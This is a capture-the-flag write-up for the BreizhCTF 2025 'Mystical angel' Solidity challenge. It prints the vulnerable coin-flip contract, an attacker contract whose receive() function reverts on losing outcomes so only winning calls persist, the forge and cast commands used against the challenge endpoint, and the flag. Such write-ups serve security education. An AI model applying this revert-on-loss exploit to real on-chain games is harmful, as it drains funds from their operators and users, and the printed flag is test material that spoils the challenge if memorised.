BreizhCTF 2025 - Mystical angel

Difficulty : Easy
Team : So what if I’m a Phreaks 2600
Description : Lors de votre périple, vous rencontrez un ange numérique qui vous propose des bénédictions à condition que vous trouvez à quel chiffre l’ange pense.
Après 10 bénédictions, vous pourrez vous élever et atteindre les sommets du paradis. Malheureusement, si vous échouez une fois, votre compteur se remet à 0.
Trouvez une moyen de gagner ces 10 bénédictions.
Author : K.L.M
TL;DR
- You need 10 blessings to get the flag and there are 50% chance of getting a blessing. If you’re unlucky and don’t get a blessing, you lose all your blessings.
- Requesting a blessing cost you ether, but if you actually get a blessing, you get it back. Otherwise you lose it.
- Notice that when getting blessed or not, a call to the fallback function is made with 1 ether if you get blessed and 0 ether if not.
- Set a condition to cancel the transaction when getting 0 ether after request a blessing, so you can only get blessed.
- Get 10 blessings and get the flag.
Introduction
For this challenge, we have to interact with a contract and get blessed 10 times by contacting Blessing()
. But, there’s a 50/50 chance to not get blessed and lose all the blessings we have gathered.
After collecting them all, we can call “ascend()” to solve the challenge.
Here is the source code :
// Author : K.L.M
// Difficulty : Easy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
__ __ _ _ _ _
| \/ | | | (_) | | /\ | |
| \ / |_ _ ___| |_ _ ___ __ _| | / \ _ __ __ _ ___| |
| |\/| | | | / __| __| |/ __/ _` | | / /\ \ | '_ \ / _` |/ _ \ |
| | | | |_| \__ \ |_| | (_| (_| | | / ____ \| | | | (_| | __/ |
|_| |_|\__, |___/\__|_|\___\__,_|_| /_/ \_\_| |_|\__, |\___|_|
__/ | __/ |
|___/ |___/
.-""-. .-""-.
.'_.-. | | .-._'.
/ _/ / _______ \ \_ \
/.--.' | | `=======` | | '.--.\
/ .-`-| | ,ooooo, | |-`-. \
;.--': | | .d88888/8b. | | :'--.;
| _\.'-| | d8888888/888b | |-'./_ |
;_.-'/: | | d8888P"` 'Y88b | | :\'-._;
| | _:-'\ \.d88(` ^ _ ^ )88b./ /'-:_ | |
; .:` '._ \.d88888\ _ /88888b / _.' `:. ;
|-` '-.;_ .d88888888b.___.d8888888b.` _;.-' `-|
; / .'\ | 888888888P' 'Y888888888b'| /'. \ ;
| .' / `'.8888888P' `"---"` 'Y88888888'` \ '. |
;/ /\_/-`Y888888| |8888888P-\_/\ \;
|.' .| `; Y88888| | | |888888P;` |. '.|
| / \.'\_/Y8888| :--"""--: |8888P`_/'./ \ |
\| ; | ; |/8888| | | |8888\| : | ; |/
\ | ; | /d8888\.'-.....-'./8888b\ | ; | /
`\ | |`d8888P' / ;|: | \ 'Y88888`| | /`
.-:_/ Y8;=' .' / ' . : '. '888P`\_:'
| \``` .' ; \ `:
\ \ ' `'.
.--'\ | ' ' . `-._
/`;--' /_.' . `-.
| `--` / \ \
\ .' ' '-. |
\ ' ' __\ |
'. . _.-' `) /
'-._ _.-' `| .-` _.'
`'--....____.--'| (` _.-'
/ | | \ `"`
\__/ \__/
As a traveler, you came across a mystical angel who can bless you. Try to get 10 blessings from the angel to ascend to the heavens.
*/
contract Challenge {
bool public solved = false;
uint256 private seed;
mapping(address => uint256) public blessings;
event Blessed(address indexed sender);
event Ascended(address indexed sender);
constructor() payable{
require(msg.value == 2 ether, "Insufficient funds");
seed = block.timestamp;
}
function Blessing() public payable {
require(msg.value == 1 ether, "You must pay the right to get your blessing");
uint256 randomNumber = uint256(keccak256(abi.encodePacked(seed, msg.sender, block.prevrandao, block.timestamp)));
uint256 AngelNumber = randomNumber % 2;
if (AngelNumber == 1) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
blessings[msg.sender] += 1;
}
if (AngelNumber == 0) {
(bool sent, ) = msg.sender.call{value: 0 ether}("");
require(sent, "Failed to send Ether");
blessings[msg.sender] = 0;
}
}
function ascend() public payable {
require(blessings[msg.sender] >= 10,"You have not proved your worthiness :((");
solved = true;
}
function isSolved() public view returns (bool) {
return solved;
}
}
Code reading
We can notice in the Blessing()
function, that to get a blessing, AngelNumber
have to be equal to 1 :
if (AngelNumber == 1) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
blessings[msg.sender] += 1;
}
And it’s value is computed by generating a “random” number using known values.
uint256 randomNumber = uint256(keccak256(abi.encodePacked(seed, msg.sender, block.prevrandao, block.timestamp)));
uint256 AngelNumber = randomNumber % 2;
But skill issue, I didn’t managed to recompute the random value successfully.
However, when getting blessed, a function call is made to msg.sender :
(bool sent, ) = msg.sender.call{value: 1 ether}("");
And even if we are not getting blessed :
(bool sent, ) = msg.sender.call{value: 0 ether}("");
What is happenings is that a call to "" is made. It could be a call to “function1()” or whatever but when it’s empty, it means that the default function when receiving ether is called which is either “receive()
” or “fallback()
” :
send Ether
|
msg.data is empty?
/ \
yes no
| |
receive() exists? fallback()
/ \
yes no
| |
receive() fallback()
Then, to only receive blessing we can make the difference between a blessing and not a blessing (a curse ?), which is receiving or not ether. So, we can write a receive
function to only accept blessings :
receive() external payable {
require(msg.value >= 1, "envoie de la moula frr");
player.transfer(address(this).balance);
}
Solving
Now that’s the receive function is ready, we can write a contract to which will get the blessings through a GetBlessed()
function and make call to it with cast
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Challenge.sol";
contract Solve {
address payable public player;
Challenge public TARGET;
event Transac(address sender, uint amount);
constructor(address _player, address _target) payable{
player = payable(_player);
TARGET = Challenge(_target);
}
function GetBlessed() public payable {
require(msg.value == 1 ether, "Send exactly 1 Ether!");
TARGET.Blessing{value: msg.value}();
}
function GetBlessings() public payable returns (uint256){
return TARGET.blessings(address(this));
}
function ascend() public payable {
TARGET.ascend{value: msg.value}();
}
receive() external payable {
require(msg.value >= 1, "envoie de la moula frr");
player.transfer(address(this).balance);
}
}
Deploy it and do multiple calls to GetBlessed()
until we got to ten blessings :
forge create --broadcast breizh/2025/blockchain/mystical-angel/Solve.sol:Solve -r https://mystical-angel-268.chall.ctf.bzh/rpc --private-key $PKEY --constructor-args $PLAYER $TARGET
cast send 0xF14165Da8e14d2AFdF75a448A057D460D13b0242 -r https://mystical-angel-268.chall.ctf.bzh/rpc --value 1ether --private-key $PKEY "GetBlessed()"
We can check the number of blessings :
cast call 0xF14165Da8e14d2AFdF75a448A057D460D13b0242 -r https://mystical-angel-268.chall.ctf.bzh/rpc "GetBlessings()"
0x000000000000000000000000000000000000000000000000000000000000000b
Which is 11, now we can ascend :
cast send 0xF14165Da8e14d2AFdF75a448A057D460D13b0242 -r https://mystical-angel-268.chall.ctf.bzh/rpc --private-key $PKEY "ascend()"
And get the flag :
BZHCTF{Ascended_L1k3_4_Mystical_Angel}